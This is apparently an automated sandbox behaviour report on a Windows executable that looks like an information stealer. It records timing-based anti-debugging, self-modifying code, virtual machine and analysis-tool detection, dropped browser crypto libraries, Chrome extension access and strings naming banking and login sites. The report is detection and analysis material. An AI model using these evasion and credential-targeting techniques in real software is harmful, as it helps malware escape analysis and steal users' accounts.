Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14D02E3 second address: 14D0302 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0EB486A693h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14D0302 second address: 14D0355 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0EB4735D16h 0x00000008 jnl 00007F0EB4735D16h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jns 00007F0EB4735D2Ah 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F0EB4735D1Dh 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F0EB4735D21h 0x00000025 jne 00007F0EB4735D16h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14D0355 second address: 14D0359 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14D0359 second address: 14D035F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14D2A49 second address: 14D2A66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F0EB486A696h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14D2A66 second address: 14D2A97 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0EB4735D26h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jp 00007F0EB4735D1Ch 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 jp 00007F0EB4735D16h 0x00000019 pop ebx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14CC2CB second address: 14CC2E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0EB486A691h 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14CC2E6 second address: 14CC2EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14CC2EC second address: 14CC2F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14CC2F0 second address: 14CC2FA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14CC2FA second address: 14CC300 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14CC300 second address: 14CC310 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0EB4735D16h 0x00000008 jl 00007F0EB4735D16h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14CC310 second address: 14CC31A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F0EB486A686h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14CC31A second address: 14CC31E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E0B6C second address: 14E0B9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0EB486A696h 0x00000009 jng 00007F0EB486A695h 0x0000000f jmp 00007F0EB486A68Fh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E0B9B second address: 14E0BA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 js 00007F0EB4735D16h 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E0BA9 second address: 14E0BAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E0BAD second address: 14E0BC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007F0EB4735D34h 0x0000000e jp 00007F0EB4735D1Eh 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E0BC5 second address: 14E0BCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E089A second address: 14E08BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F0EB4735D16h 0x0000000a popad 0x0000000b jmp 00007F0EB4735D1Bh 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jng 00007F0EB4735D16h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E08BA second address: 14E08BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E08BE second address: 14E08CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F0EB4735D16h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E08CE second address: 14E08D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14EF9FE second address: 14EFA0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0EB4735D1Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14EFA0C second address: 14EFA35 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0EB486A686h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F0EB486A694h 0x00000012 jnc 00007F0EB486A686h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14EFB73 second address: 14EFB92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F0EB4735D16h 0x0000000a jmp 00007F0EB4735D1Fh 0x0000000f popad 0x00000010 push esi 0x00000011 push eax 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14EFCBE second address: 14EFCCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jo 00007F0EB486A686h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14F062A second address: 14F062E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14F36CA second address: 14F36CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14F36CE second address: 14F36D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14F6365 second address: 14F636F instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0EB486A686h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14F636F second address: 14F6375 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14F6375 second address: 14F6379 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14F6379 second address: 14F63A2 instructions: 0x00000000 rdtsc 0x00000002 js 00007F0EB4735D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov edx, 00264860h 0x00000014 push 00000004h 0x00000016 mov dx, bx 0x00000019 clc 0x0000001a call 00007F0EB4735D19h 0x0000001f push eax 0x00000020 push edx 0x00000021 push edi 0x00000022 pushad 0x00000023 popad 0x00000024 pop edi 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14F63A2 second address: 14F63DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0EB486A697h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jbe 00007F0EB486A68Eh 0x00000010 jnc 00007F0EB486A688h 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a jbe 00007F0EB486A6A2h 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14F63DA second address: 14F63DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14F63DE second address: 14F641E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0EB486A690h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jp 00007F0EB486A69Dh 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 js 00007F0EB486A686h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14F641E second address: 14F6428 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14F6428 second address: 14F642C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D302C2 second address: 4D302DD instructions: 0x00000000 rdtsc 0x00000002 mov ebx, eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 call 00007F0EB4735D22h 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D302DD second address: 4D3033C instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F0EB486A68Bh 0x00000008 xor ax, F7CEh 0x0000000d jmp 00007F0EB486A699h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 push eax 0x00000017 jmp 00007F0EB486A691h 0x0000001c xchg eax, ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F0EB486A698h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D3033C second address: 4D30342 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30342 second address: 4D30376 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0EB486A68Ch 0x00000009 xor esi, 50DD5DD8h 0x0000000f jmp 00007F0EB486A68Bh 0x00000014 popfd 0x00000015 mov si, AC8Fh 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c mov ebp, esp 0x0000001e pushad 0x0000001f mov bx, ax 0x00000022 push eax 0x00000023 push edx 0x00000024 movzx eax, di 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D303A5 second address: 4D303A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D303A9 second address: 4D303AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D303AF second address: 4D3043D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, dx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F0EB4735D20h 0x00000013 jmp 00007F0EB4735D25h 0x00000018 popfd 0x00000019 popad 0x0000001a mov dword ptr [esp], ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F0EB4735D1Fh 0x00000026 and eax, 306C556Eh 0x0000002c jmp 00007F0EB4735D29h 0x00000031 popfd 0x00000032 pushfd 0x00000033 jmp 00007F0EB4735D20h 0x00000038 sbb cx, F8E8h 0x0000003d jmp 00007F0EB4735D1Bh 0x00000042 popfd 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D3043D second address: 4D30474 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 31h 0x00000005 pushfd 0x00000006 jmp 00007F0EB486A690h 0x0000000b and esi, 06020B48h 0x00000011 jmp 00007F0EB486A68Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov bx, 3DB6h 0x00000023 pushad 0x00000024 popad 0x00000025 popad 0x00000026 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 12519CF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1251903 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 14062F8 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 14968C4 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01004910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_01004910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FFDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00FFDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FFE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00FFE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FF16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FF16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FFF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FFF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FFBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00FFBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01003EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_01003EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010038B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_010038B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01004570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_01004570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FFED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00FFED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FFDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FFDE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FF1160 GetSystemInfo,ExitProcess,

0_2_00FF1160

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: HJJKJJDH.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: HJJKJJDH.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: HJJKJJDH.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: HJJKJJDH.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: HJJKJJDH.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: HJJKJJDH.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2266687374.00000000008A3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0f
Source: file.exe, 00000000.00000002.2266687374.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: HJJKJJDH.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: HJJKJJDH.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: HJJKJJDH.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: HJJKJJDH.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: HJJKJJDH.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: HJJKJJDH.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: HJJKJJDH.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: HJJKJJDH.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: HJJKJJDH.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: HJJKJJDH.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: HJJKJJDH.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: HJJKJJDH.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: HJJKJJDH.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: HJJKJJDH.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: HJJKJJDH.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: HJJKJJDH.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: HJJKJJDH.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: HJJKJJDH.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: HJJKJJDH.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: HJJKJJDH.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: HJJKJJDH.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2266687374.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWS
Source: file.exe, 00000000.00000002.2266687374.000000000085E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: HJJKJJDH.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: HJJKJJDH.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: HJJKJJDH.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: HJJKJJDH.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58277
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58274
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-59463
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58297
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58289
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58329

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C6B5FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FF45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_00FF45C0

Source: C:\Users\user\Desktop\file.exe

0_2_01009860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_01009750 mov eax, dword ptr fs:[00000030h]

0_2_01009750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_01008100 GetProcessHeap,RtlAllocateHeap,GlobalMemoryStatusEx,__aulldiv,__aulldiv,wsprintfA,

